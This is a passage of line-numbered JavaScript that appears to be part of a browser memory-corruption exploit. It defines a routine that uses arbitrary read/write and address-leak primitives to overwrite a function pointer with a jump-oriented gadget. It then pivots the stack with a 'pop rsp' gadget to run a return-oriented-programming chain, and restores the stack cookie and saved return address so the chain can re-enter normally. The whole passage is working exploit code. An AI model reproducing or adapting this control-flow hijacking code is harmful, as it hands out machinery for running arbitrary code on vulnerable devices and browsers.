| 850 | var funcbuf32 = new Uint32Array(0x100); |
| 851 | nogc.push(funcbuf32); |
| 852 | var launch_chain = function (chain) { |
| 853 | var stackPointer = 0; |
| 854 | var stackCookie = 0; |
| 855 | var orig_reenter_rip = 0; |
| 856 | var reenter_help = { |
| 857 | length: { |
| 858 | valueOf: function () { |
| 859 | orig_reenter_rip = p.read8(stackPointer); |
| 860 | stackCookie = p.read8(stackPointer.add32(8)); |
| 861 | var returnToFrame = stackPointer; |
| 862 | var ocnt = chain.count; |
| 863 | chain.push_write8(stackPointer, orig_reenter_rip); |
| 864 | chain.push_write8(stackPointer.add32(8), stackCookie); |
| 865 | if (chain.runtime) |
| 866 | returnToFrame = chain.runtime(stackPointer); |
| 867 | chain.push(gadgets["pop rsp"]); |
| 868 | chain.push(returnToFrame); |
| 869 | chain.count = ocnt; |
| 870 | p.write8(stackPointer, gadgets["pop rsp"]); |
| 871 | p.write8(stackPointer.add32(8), chain.stackBase); |
| 872 | } |
| 873 | } |
| 874 | }; |
| 875 | funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10)); |
| 876 | p.write8(funcbuf.add32(0x30), gadgets["setjmp"]); |
| 877 | p.write8(funcbuf.add32(0x80), gadgets["jop"]); |
| 878 | p.write8(funcbuf, funcbuf); |
| 879 | p.write8(parseFloatStore, gadgets["jop"]); |
| 880 | var orig_hold = p.read8(holdz1); |
| 881 | var orig_hold48 = p.read8(holdz1.add32(0x48)); |
| 882 | p.write8(holdz1, funcbuf.add32(0x50)); |
| 883 | p.write8(holdz1.add32(0x48), funcbuf); |
| 884 | parseFloat(hold2, hold2, hold2, hold2, hold2, hold2); |
| 885 | p.write8(holdz1, orig_hold); |
| 886 | p.write8(holdz1.add32(0x48), orig_hold48); |
| 887 | stackPointer = p.read8(funcbuf.add32(0x10)); |
| 888 | rtv = Array.prototype.splice.apply(reenter_help); |
| 889 | return p.leakval(rtv); |
| 890 | }; |
| 891 | p.loadchain = launch_chain; |
| 892 | var chain = new window.rop; |
| 893 | var returnvalue; |